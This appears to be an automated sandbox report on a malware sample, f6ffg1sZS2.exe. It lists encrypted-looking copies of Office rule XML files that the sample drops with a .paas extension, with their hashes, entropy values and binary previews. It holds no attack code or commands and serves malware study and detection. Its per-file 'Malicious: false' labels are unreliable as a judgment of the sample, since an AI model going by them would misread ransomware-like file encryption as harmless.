Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.685039272264521
Encrypted:	false
SSDEEP:	12:AOHLU0q+zChnfnAeoybOBZuX8cvJp9KXx6Z2nDNwjziR/oJmyELjcsuqc9/eRKWa:pr9VEdJQZBCpkx68nx4GR+4LjcstobD
MD5:	BA102761696DFA1D8BB8661DF8798B25
SHA1:	146436F22A4C08925B3256CF2FF8C44BA870AC8C
SHA-256:	0EC05F167A273A969386B047846BB73236EB561B3B818CD84A2A61E711E8904D
SHA-512:	CF522A768CD4FEBBC3A9B02704F5545BB377D858B5C34007A1DCCB525EFC5B871FF47FE0723324AEE322B4067F7105C46DF607303D12B7DA57A5D1F358332154
Malicious:	false
Preview:	<?xml.]...Bfg...&..}g_.. .S...<q.^..q..vW.iI....2?..w\6.$........k.{.-<...P^..Ro6.....C.o&.H.....X#.3.B}J.u.1IW.}L&.2...DWQ...Cq...(..UF.?.2l.t5B#"...Aa...nJ.lNE.".a.?.%+......c#.u...i6.#+X.R8.Gi"G^.....=...#.f....m........].L..S3.p..)eG..].Vl.o.._..4c.<E.k...w9h..s%.........di..m......]...lY....VtI.N..;.%..`5...HK....V.Ng.\.}.+J..8..;,l.u....)......-e............&........`.Y..m.2..."....`...N84.....g.m.. ..,.4..Nf.F....0.&a.8.....A#...{.q..QL.n.Q5...\{.4B{..uM.k0bx...b...2..I;...m"/4M...b.Nc...U...m...'$=2...4..#.G)..$G.=.9..OX...R~.....Y........;.y.(..Zj........".......)2.T&.yHJ.........]..:..:c?L...X.....n..c..f.E.;.z........zk.uV$ r...o...0.S.......D..\.r...Od%...~!.PC{`2p...e+..Cm.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.702068670034642
Encrypted:	false
SSDEEP:	12:qerxD7AP0WOVolUpbUfJzl4Rn0pvMMP6C08v2cz4RH+911DiZXcfmZqS2cii9a:jrxD7APJOVs4RngL6Vcwe911u1ZqbD
MD5:	E2D1A4A76FB31C540B9F4644B7B0AF44
SHA1:	595237780D372044961220171A1955363305D759
SHA-256:	88A278E04294E4FFB6FA647178945C59B931C7DE8A05CD10B6E1A662A104DB70
SHA-512:	9B137DC07956F950498D516725A19CF029A1BB095823BC019404395AF399F32C402EEEF8F61156A108965EF5A644F8BE26A7B1E6F36C8AF959F50CE59F995030
Malicious:	false
Preview:	<?xmlt..Ze.....E.3.......U....#....?.i<...e.....F..\|.....Mw...}....<...v.Tj.L1.\.v.d.3'7....w.....v......6.B......++.B..>s..:......G.[m..n^..:\|.j.U........EEf)Q.........^J'Q.N.......u..`..x.o.1<.)J4u_...X.m.@.k.X....?a.?.vz.F.%..c.z.Nq.\|..NB...R...:%..w../.,`.GOO-.C...TmVR7..uM.c.....r.#.c@..m. 2.]...p7)."..).#.........\n4....!.Od.w.Bl.F...1~\eR\....*GT..XY~.ctLF.[_....e..C.S.iI3....4...JI.`..A...m./..0(5+.x(.;..?v.6......Gc....a..!y.#.....zu...N3.^6..:f...y..Q.\|k'....5.&3.{._q.........Ap4..8.f....zC....a...+..Q.juS....S..._.>....^.....}\|:"Z.......M.t..g.Q(^.r./....R....E..Q.A.K..\.:Y...@....0#V.'.R....L...b.Xi...n./...".X, .........mq.Y.9YLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.740028150332265
Encrypted:	false
SSDEEP:	24:6b8xccnHdMo/tjdJ5LCal+rjIgUZ/VWUHi4xxbD:6b6ccHf/9z5LT+XW7FHiID
MD5:	3BE5F9306F557C01FE346B1E66D8F765
SHA1:	1C40F951C576C6BBDB8902E1B3BB403BD2B1D9CB
SHA-256:	D69C1FF7E15D94275A23CE5645E274E392AA857D0953A128A0F30B300983493B
SHA-512:	F44AEA0F05DC5B538950FFBB34E9D3902990274E51779ED84DFBEB7CD5E7C46AF60F852C4034220E4406756A28A57515A0E4F93508D075010593CC69C0281F6C
Malicious:	false
Preview:	<?xml..@8Wp..`\.1......r9.77E....ur.m.[{...1vX.Jx...'..!.A{....zO=."..&.A.....JD...'@!28...'..Z..5Cw......`.....+.f\|QH...z.........{...b..c.<~\|O.QN.....]+...^....T..>4.T.x.t...du..=..^.....;...`..X?.=....$...B.X.tr2#Q...Uq\|.aQ..v.I..$c....jjx.3t..V..W..%^...>..r...5.y .......@.r.]q0.Ae.7H.R.....i.0.5...r......!X.....J.........q.......u......12\|....n.y....W.t..\e....{w}........".....*..~....As.v.u.....Y".....7d...1...DHf.C...q......k........B.;.L.............d?.Z.P...,.#g.n......Dkx....6.@.....o..7Q.B.A.;.......S...k]sAy.....p.v."a.$..:u6.,....i..L.L.....y-..\.+..x......v..Zl.....n.\....8l5.3.......nv..d.v....?...E..:h..g./..hh 4-......5.m6....tr..K..a..Cr.G.L...\|.nd....I. .Eo..1......_.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.737298521738905
Encrypted:	false
SSDEEP:	12:i6m0ve6gObgJlBcMHJ1oCZ2D3hYvCajemKqjnP2SLkBNxNDvS2cii9a:i67+nlJ1NKhYvCfqzP23jDbD
MD5:	E6CCAE6F57F3A5D34C574068D6FAF06D
SHA1:	0F12869BEF4D9ED081512E592E30A837FE6394EF
SHA-256:	CDFA7D62AE937BFA90B2209338990B6BAFE837CCE3E882E303E6838E6E3A65F9
SHA-512:	452417FD76B66512A81410A8B5CC485BB107492BF7BD528850D6390880F800A3E76BDEED06F7CC90A972BB27E64812234BA36386935EA7B64C9E42266393956B
Malicious:	false
Preview:	<?xml..../..._.O._KKm.S=eU..Y....J#1........u.uq....W....j..70.!TX.c..+.Y..".R+%.B.o...#b......._.1.X"......_A....v..jZ.....w.Z.\...f...D..1.J.u.-$.z..P^5U:.#..V1I....2.........V1+u.=.{KT...1n7..&.R.;...d.i.HyXv .z.......]2N.lx....,s8.......].....v!...33v{.wo..YW".....b.'..6....3..S...FyX'Ex../X...zMTd.>j.....hF.(C.cV=..2?...A....A..^.$..%.$@......{...`.]..Q...f.7u....gCG.....<[...9.G.i.k..H...N.L..#:....zX+....+lL.W..\|j_Q..L...@..\|.5 ...8&.b.5...<...)........^$)...vz......;p4..#..#.\|$6l!..s8.^..,....V....g?.}O..\|Sa.f....&...R..%G..q...vF4c.$.W.h..&7s..so...y.q(...D.....A..9UM....2-..@.B......9P...1f..U;.r. ..\Y..........(.........)...T.<.)m$.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.729717614487821
Encrypted:	false
SSDEEP:	24:FYGHWiKEJq75mFr6HlRgkCysYL24K3a2/bD:SGH1JKmUkkM47WD
MD5:	4D7B7B04EF7645BB867F7AD7FBE5EF0F
SHA1:	9C480C9E825F276EA297E8E7DCEB68337BCF1A58
SHA-256:	B1EC6CBB0266910B591203258728CD24B6B4D3404F78C8225AFB5922ABA28192
SHA-512:	0180A9A5E4B6866AD53B4670487B706F71FDA415F881889D3C1CDB406B5EE651022B00DD0962D7B7B19417B2D8B7680752AF859D50E9ED3A344A356B63832B0C
Malicious:	false
Preview:	<?xmlHL,.7..N..H.......#!......[>..K..m_..Gl.,\...J.Yj%8...Ml.j...,....r.&eF.a..Ug..'..T"s2.?......}....7.D.6{.V.nT\|nrU.rM...Vf..P.u}.}^.=k..5'...+.%...\..[..H..Xc...c.q....E..a.....P.s)_$F.)../....c.k.#.......XT4.......33....2..'......t.........M..'...g....L..5..s.....F..t..u........29+.......vn...q.z.........]..._..R.F$.....,.....uS( .j.v.{..q<-.U..k4d,03....Tj#/).~."b...M....).=..=...>...M$.E..u.8.kXH@..V0?zL..m......pf...#"H.B....e.L.ZO.,.F...y....8.M).F.Ks~..,8U..&.4.$5C.....!=0J(.g...HaKsl..#2W..&....z..;...=..........Bp.(..`.@.'c..p...mH...FHB.....!Yk...h_..6.Vi\.t".2.. .p.Q.M.:f5....S.....=......IM....$.x%/.${.u..=t....f.....1.S...h V_X.l.U..N.1...1......._...S.._.b4..gn.DaLs..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.71142681645388
Encrypted:	false
SSDEEP:	12:HMnqLKviAtrVL/YWi+KjWaPxemoaFiImd9RynVe1E096pEAj8fFyYujPJla0giCy:HMNvi0rdZ536Essh9O0F2PJla0gihbD
MD5:	CA1D8A81CA288A4DAFF85024961F6E62
SHA1:	88DA374CA3DC1639835DAC281AFA3D805778A36C
SHA-256:	28C13307B04F21C65BB91CDCB64675AFF887487DA9C1E248E9596F51D757DED7
SHA-512:	300CBD059B34EFA7E82D52994769EE22E3D980F7A43B5CA6EDFC39451A3BF8B78BAA14371EEFD1F54D10609E27A7D520B0C0888F5062673EE009C0A793750DE8
Malicious:	false
Preview:	<?xml~.@....N.".2..J..:V..8B...)..Q...7..H..p-...<u.U\\C....>..B..1....a,#.la...Fam.l.p.3..k......]}(.4....>.P.E.TN,\77^/......[l.>P6..$L..U52....a!...^.x........z...5..O.LN....S..........:..f._......s5...<..9.J_$ .3.v.......X...v....te........@@...hSz...7......U.U.E@@W.......Y.9...l....0O..5,....l.4:R..Ef.../.f...T =.'.g.E.^...Cp......;.....V.@..w..I.W'...3a.....Gp#U..`...."..mz.E9.0I..U.^$..gG .._u.4m->&.yC....kH.~.e..:......E?...~&...z.*...W$.Er6.. ..<<.s8p...q....y5.~..Sw9g...cQ.....V.?dlB....P...X.ZZaR....>...-.........t...)$...".....T......WC.....d..{..o4%..-j.......i..#...Y.yiQ\|..X...N8.qZ...4L.;o.]....r.w..Ew.#=LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.731099267714723
Encrypted:	false
SSDEEP:	12:LD7mX6EULiyBVD06/jOwuSC4wNfNp4IMwRiYfEqa3FUyBhjYfYM0IcIVCpnS2ciD:LDa+iy7DFuScuIM8vU3tBhj6cFbD
MD5:	51466C2FE5CF16270FE1CE830FFCD997
SHA1:	70460987CC1EE9882B1382A165CED1817286789F
SHA-256:	AC3AE2418D25A7BA542F39CF1A58A9F8B8B9D81330D7C62DD03531791019A4CD
SHA-512:	B0E63E7296228DDFA3A5DBCE17460F91950D8400E4740B1FC6E202501D6582B6F4AE6D6B89AECDDDFE8D627F4C654EE20C22DB2BFD05C340AEB0CB27B597FCC8
Malicious:	false
Preview:	<?xml. .`d..F..........^j....7.CC+.M...y.0.....AG..r...Kdf....y.h.d]n._.8...iE...).....$u..=e..7.a.w...........}....L......G..O.kT...I.../..I..w$..^.,.....].t.^...R..lZ....u.)Qt..c..&x..\..2...y.b.t.,...O..AY...`......%.c..I..$.@..Kg.._..!....v.3M....2..1..]...n.Z.R.7...p....>@.....'......Fi.N.....03._..<....M.I..)3.....-:U..V....&....!....=.M..Z.x.](~....a..4O.~.\|+.??...1.g.....0.s5.... ....4r.mz....(...F..i.i..S:.....Z....V.....s.#!...u3O..y.......&.....0v..x7.....Q.l.o....TH..`P\|.K....X.G>.3...$.US.n...S.?.......q..r..GG......i./....~']...\...E.<...+..m+....~.5.L..F..%...,..p....4...]0.u.jF.4.gN.$.A3...rJkZ.fO.Y.YD.i+Q..3Sj*l3..v.U.3Kf..m....3.c$Qq.E...os2...,.0]..n..9..._.G...]!Z.ELQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.732914756701445
Encrypted:	false
SSDEEP:	12:XFo8yKksKDRWcZkOlPoKC6mvJ1gJEmm5BkCQ9t5Uhn5AvhCmxpRV73gYS2cii9a:X+8ERbtPM641o7KxQ97UlCfxpD8AbD
MD5:	9ACD6B26B6F7F0F6054490F348389DE9
SHA1:	4E00D533E595844CC97D2C13E287A72D103475D6
SHA-256:	A99231ED9CE4407A75CECD7C3A704144704EA8D70C5D857D102CDB432CA81DFD
SHA-512:	26942EBAB5A2C2823D3AFAB077FA843BA0E03E3A3DFAE51CB49C12580D7800AF602F69496A2524D4D65C9954830E7926E7D8761C384874493D9ACEB0DCD1A92E
Malicious:	false
Preview:	<?xmll^[I.."O...^w=+..9.&1........#.S...$..s..qFY.vN..\'I....\|G"..z.........f~..j.X.u".... ...P.8F........<....`D...h...x.H.vZ)g.D.....r.VW?..C......_../...u.#..S)....8!..43..D.aBN{.....O..X4.?.k.Q..Fo\|.4.].de<.\|_..$9.T.h.h.I..,.`\..pY.Y.)...y..O...{y.jh..Tahz...{.]+'.....Bs.~...[R.....J.C.G..n5.....;2..~.BJ.d....C.M.0o...YdV.. N`t.....>0..h...y.Y-.S$btGa.wmzz..`o..c...Y.!fn.h..\|G..C\|6..c....U.7..-.%.{P... .5...z5.A0.....si.>.E.....qO....biWTl.....n.....~....`..K..k.8.i.o...J...%.....=.0....."..lHR.,.c&......o...w{....(.W...r....z`.q....E....SF.....^.9.>iH....cb..'.@%..].y?Hg.....L.@%..[.....9...<....1..."LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.723317998310548
Encrypted:	false
SSDEEP:	24:+yvIStz30mCVfklOnonYIjWVMbYp/uburbD:+yvISt3CVfUtY5VMbYp/VPD
MD5:	166810ED75DFE4E529641C70710EFFD7
SHA1:	AC88F04CC002E89D65824FE0E68A10A9D11A3565
SHA-256:	DE3000283766077D15E4D575F04955D6981EB914A51C6E1B0F3394463C8174EF
SHA-512:	C518D8094E51490DEBB8A35FE46F45C732F627615476522FE21E665BEAB858D45FE8B3E68BAEEA0754450F4FAC3F62586036366A89025494FD5A7AC329795681
Malicious:	false
Preview:	<?xml,..2.EI..F.\|...B0!c...Q=.oM..V....r[...m.....{J....T..o..vG.._.P..x..-....L.5,x<.:.........qdI.>c..x........!..?\..91\&..K.;`.z..<.$..y..,.r.......oA..../.....W.4M+"m}.....SH.0L1.~.I.j..".....W.o .t.'..vEY....b...\|.g.c.3..(......&.........,.......pF..\<.^..4..n. ..H.... fg..tst?t.......d...Q"r........AW.p..Dl..Z.XC.../}... ..GV.w....Q_....r..#...ys......2p.=.(r.5...IYe.&.h...@ni..^C.UR!...L..........NuS8.....b2..~.... j..b...3v0.1w.C...8.u..Vn:.b.H..e.....F.w.t....M_...lLaxA.^.v.....@X..r....2....SP...B$.s.I......z.(.5.J...u..m.7^......U...8J+C..+\|W.HN.N..P.6)5....-4.T\|.....L..6sd+w.b%..#]..B\.T7.7.C.x...E.k{.+......Yn..2..Z..M+.BJ.k.".^.]`.,i.bD.....0..."..NV.v..da.......y.u._'...H..o.;d.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.696908053445217
Encrypted:	false
SSDEEP:	12:SW60jPvr9xjJoYWbVVlkcOaYPwYPMCFgVOcIvTpJlOUgUFQVRGhhiBS2cii9a:SIjP5d1WxrBcYVOBvTTniGPiZbD
MD5:	C4D8C48AC12956DF9FA098D122FC3DD6
SHA1:	0B0FAB66F915F1D72CA79E5E9A7CAD14433E9A99
SHA-256:	A518012A0A91E593CD5FDB8CA2330D63742D5F89A3D4732EE73DF13996834D65
SHA-512:	B49106A9919B5876041DFA82227ADCD6C4D266710FA7ACDC2BCECDF53401B8E211A40E29B7DA8DD148B6E00327053C62FE0FA883CA027227F1E6BD6AE4CD24E0
Malicious:	false
Preview:	<?xml_w..z....i...j.<.ar...l......N...{.T."anvw...O ..HI.D..2k.>Z....{..........+.7.........p...W....I.._.."kK.......K......}..v.1...6ie..X..+..{}b.3..C..T..j..dS....9Q....H..Fc.8.))3.M80O....O9.LWD.hK...D..`.(.I.4.[.5..S.....P..I.CN.&....:.5..K"~...9.r.."yM.T........ Y.1.J....X.&90Z..B.m.6D....)..V[...E'p..a(......}..x...e.c.&".\|.'...p.qy.6....$..}....Hm..R...l...RK.l.....l.^M.X;....th..8..........Fk..n.G...C...G..f.R<Z...?C."3T.....g....V..Bn.P..K/....z.....I..6g..D..K.z.x.@..,.?......]@..D...j2[..f.l..4.W.1C..U....b..+.07.]j.g.0.?!...-..h5.......9<..v..}..d.....k..M..A.c.....kW....}...um....O.>............V.,L....9....8..b.O2.d.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.731285182529796
Encrypted:	false
SSDEEP:	24:jh7418TQvd5EzN+a+MQcqmDXjkNEVrUQmz/bD:jG1EkrE4aNTXjkWVrU1jD
MD5:	499FAF04AEA99C309A0DE27CA704E247
SHA1:	48F3692A1F6B2FB27962CE587A016055967EAE61
SHA-256:	E844E792693D57E39BC2D949E4971EF16068F5DEA00A0DEB099B3D47C2DDB8FE
SHA-512:	9C32056B3F7CAA1F20B9A3B8B1F3F0FF849BA0491DB2CBE5101AB95BBD679BEB6889505309A82CAE70179D25054B1DC921BB872EEBF281CC3C50575A4648A79A
Malicious:	false
Preview:	<?xml.........4.xf.Dh....2.M...."..="U+...N..jA.z..t....,q-..C.n..gL.2f.;..2..ha^....NG.k..#p...).......Bt8..CX...fa.`.c.g..H...m......g...3...]..({pg.R...n.}.-..y.$,..N5...^..vya...........CF..H...1.......>]ya..{].PL.%;'....#Ke+..U.u.0..ax.G...\|.."..t....'D......@..T^.[...A.]....m7K.p..!fyZ...I9\|.q..yww..:..x......[X.....}...\|........@.....Ro..\.m...1Y...\c...?=...u%ypz\...j..'...Q..0]..J .aR...+...Z.1.r..A............g[......q.......]F....r.........iy.}.4... .t.B...h$..<....p.D...w.HG.S:%v.).r.s..!.J..!V....y.DAN..5"..\|..H.7..0.x....P%<..K1....A....D'&..i......`D/.x...b......8.7..."P._....."..f.S......Y..t\|.......Y1.....&.....^.a.{.n1..hel5..~.l.%......Cn'.;..N.jy..P..$...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.725573852012952
Encrypted:	false
SSDEEP:	24:W4pZJFX/1Umw9xVZVt1FCIBJHGjnHM8Mbt6bD:W+R/11m1FCaJGDHwbt4D
MD5:	A9B3C82477FFA66EA5CE90FBD1F304DE
SHA1:	DA87FE6051696B167EE8EEF5578A170689C2F378
SHA-256:	EBCEA589BB8FCB234C4D7BA14EE7AF1B3A0A003B3107C031E1B68C855A4B61F0
SHA-512:	6FB0C4E7725431DCA460B5BF4EBCCC69CAEAF4E846B30F0F87E810E59941BEA899E0E45A8C3B94227919B4914646D1F9505F79AE83A24B8A1C76380C5D2CF729
Malicious:	false
Preview:	<?xml.X:.Y.. oB....".;U.7.!...`..8...N.u.N...X2...l...S...K..?..8/...,.q...3]...-..d-..:........<hlKA.2..;.._..(..c..}.d+..z.'.=!0..`.:$.ov...g..+.7..t..B!...>ZK}R..6..6p..L{P.=.4lLNl..=.U....6.oe..%..... ......V.M....5Z..yw..L]n.ne..o#...?.w..!...#Eq.G.i...\|..L...=,V.Nt.8.....S]...8...rs+.......F6c...<.....EnT.....0,....O....Q.9[b..~-....Q..G?..$VR.I-IHK..U.!..pET=.h7u.<.;f.....W.K_.....@ .u}.'y.dv.r.........}.........{!.5._.........X.>T*:..U.v6f.%3v..~Y.].s..o...o.R.As..- K......u.O{O.>...~.t....bU-x/.<.+..#."`..A......dj.......L.D.....~Y}......RT^.d...qG... No.+..E..}...7L5.3............Z...q....o..}.aw.....ti..z.0..V/.o.....crf...sKA..0.V.d...u....\.+..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.72493100251072
Encrypted:	false
SSDEEP:	12:EZ4aMPCe89jBqDyVpd7kzFYSIP3zXn4DOCjHGgkc3LeSwVuG8o84J/JCmZaPnS2X:gnM6zfMyrd7h9b4KNg2pEMJ4RP3bD
MD5:	DDF7E76EC7FE919E2390B8DA5277EF1A
SHA1:	CED1BC3ABB95417B4A58191E5933C21DCB5F301A
SHA-256:	F08A9F61D5817AECFB628A00A476E6F93A2B92F1461CF1972C21C63005D03788
SHA-512:	24BBAC99B21D922BE9385AE3A76B8F7CBFAC662E078FE3ACAAF9A45CACA6D37B5AEE0077E783A4D6FB8EE2D86A6BA3D4B7CD76A44584F3EE5EBDE03DF92D6454
Malicious:	false
Preview:	<?xml.E5sYFjj.0.....n~k.H..n....?......0..-Z.....H.S.....8....rY..k...(.....i...oo..<J.g[.....P.M...@........Y..E9$.0Wm8..2.".=...:z..Z....4.......&B+x.u.%...u...B>2.^../o.:9A.9(P]....7..j.Z.,P......@.E.....S.Z..].S......,,`e..5\...9o(.\.^...G...:~.P..`~...2.....k.."Yq.f...{..'..G2J.#..[....~.N..5..<'...!..]....tk&B...G."5`...^g....3..... .k... ;'.<_.....9...q^...e...+.(.r.M./..>n.BhX..q..L....K.qscD.Ts.\..GO...P.n)../_$NLV......+..:.H...`?..J.Nzo....ehi..8...~.U.3.m.4)w....v....q.,...;.-h<.,...0..B.E.S.J.VnqH\.V.W\|...4...L$.....0..{n@...N..K.=..E.t..q._......!@..<.V...Bd#.H....x.....p...v!8e1.c.(.c..9.....A#e.CD.. ..i..(...f.......+..U.W'.Z_.#.pb.N.-X..<h.\|..B....n}..yx..3^O6.F.i?a..?.3o.I.6.E.d.F..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.692511999614926
Encrypted:	false
SSDEEP:	12:9hh24NJgmVnWz9VkzwVprGbto7pYovWjIGx/Ae5IeLr6BwCN6+kru//S2cii9a:Hk8VnHzwVAtSprvWjD/JOeLew0nzPbD
MD5:	3E87670625E36A0A09263203835FD3C3
SHA1:	C276E8E74A38D2D4B51D422375D0C977FF3A8AB5
SHA-256:	1D3E28118B05A1E1B537826CB09154A7E2EF343DE3C3CDAB962C91DC08C40C5D
SHA-512:	46E30532E0B4B38B6601928B63C84BA04F6C4C181BC4658F838171E93AEF892CCEA260021234A1B596E870479E5BE7A6093B8895AEEC723B60F2AD0A129B2DCE
Malicious:	false
Preview:	<?xml+u.C............oW........d.,...Jgt..4.3LNV.5`..A..1...7.x=.0..W.dSKR%.x.....]..D.(.,.L.5:I(=x.=\|.I1i,e...z.K8....h.._;..T......FW."X...-h......ma..PLu.u=.C../.......;......_G....8.-\?....Q.+.....J.E..P.....3....6...k._o....%..E.;~.k..%...^.-.{.X.%..[.I\.P....O@j.z.q..`.B........\N.....+..Z....qF.......o..sm.S..%\|..6..t...+[0]..D.-.Gb.Y.m+...I,>.NK..4.jfv.cJA.T8{..~.QS.h....1.U.<.......H...}....M...-c...7.....bR.q...*..^...E.~.....PO..Y;..!p.gNL..@He..t.....n.ub.c....n.j.f../f..pE...B.......Y-...:.N..g4&..$.!'\.)#.L/MN....X....W.7...,...B......`V..g'.yx......].;....u.7.;.+".....S....1..<QJKtC(.o.....]...Z...mO.7f.n.`l]._.:LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.74480517491241
Encrypted:	false
SSDEEP:	24:o5+pW+P0PSagT9GARvscC745rLJA5+7cGNAobD:jw+9agJGAE4dyM7c4AyD
MD5:	C2552D0156CE56D831267452945182CE
SHA1:	777B6484657878E4B254728BD7D72D181451C4FF
SHA-256:	1444CB7ECF8CA91181456299A9A42C528C963BA90A0B5CB1D92A09A762F11DCC
SHA-512:	B61B97AB513C663E13B0E1F020AB4BC691C3C7D7FE6667B8FB4D36F8D3AA1DEEF785C37CFEC32D57C5173F00B26A9F3E29EE71B8D8D036D79E317F52BC2A4254
Malicious:	false
Preview:	<?xmlNQ...6.?....5../0....s..'..N.......=.[l....r..--J.....Fj7W.....vX..c..Ld.........@.]....En..j..woL..U%n..'[0........c..9..{.n6.....'O.P$9a.;'..e.d....@.+V.....u...F.%4:V_...jV.a=i..5.10.n..J..K.i..g.........5....Y...K....{......R..{mv....9.7M..M.^#..~.T/.v.g........?.w5.D.[\|.dX..&..vO..].......o.+c\3../.g..>.V@t..y......Z.Fs.].;............N....[..!C......1...h....).7to..K.....9q.Ob_.c...a..i-...S#.q^.....f.r....;..s+$.\|.....a%.....aD.....g..c.qF#HL...W.q..9.G..%1..W..z@g9$....;..._.$w...t,eV.v..t...d.....E..q.1..c.4......tu....:i...O.bo.7~...l./.:.;......0.....9...?......-cE...=....B...,T. B.jL0q). m....w#,.\.8....W@%.e.C..>..&_...C...djw....W0....>.l.....rj...`W.&U~&`x._LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.709335451145566
Encrypted:	false
SSDEEP:	12:xDQL8ILcBDMuNOovH2rAbJEZpouivVgDkdVMb9QeKaZMb5S2cii9a:xDH1BouNJH2c8po7tIhbGSM9bD
MD5:	479838607DBFF28A8D87B5840D342FC7
SHA1:	BBB1FB822F4C9FDC7E56C81EE43284D07EF86AF2
SHA-256:	4C1F5D58A0D87CD608B5437DCD0AF7AC55D2BA0803905664F0D7363A2F4D55E7
SHA-512:	15C97863E5BB4BD1C02FD46778384A4202D4D181D27B657A97368DAAD4DF90043366429144E6F2246C7FA07DE2683CF763459DF45172C49ADB1ACED1F30821AD
Malicious:	false
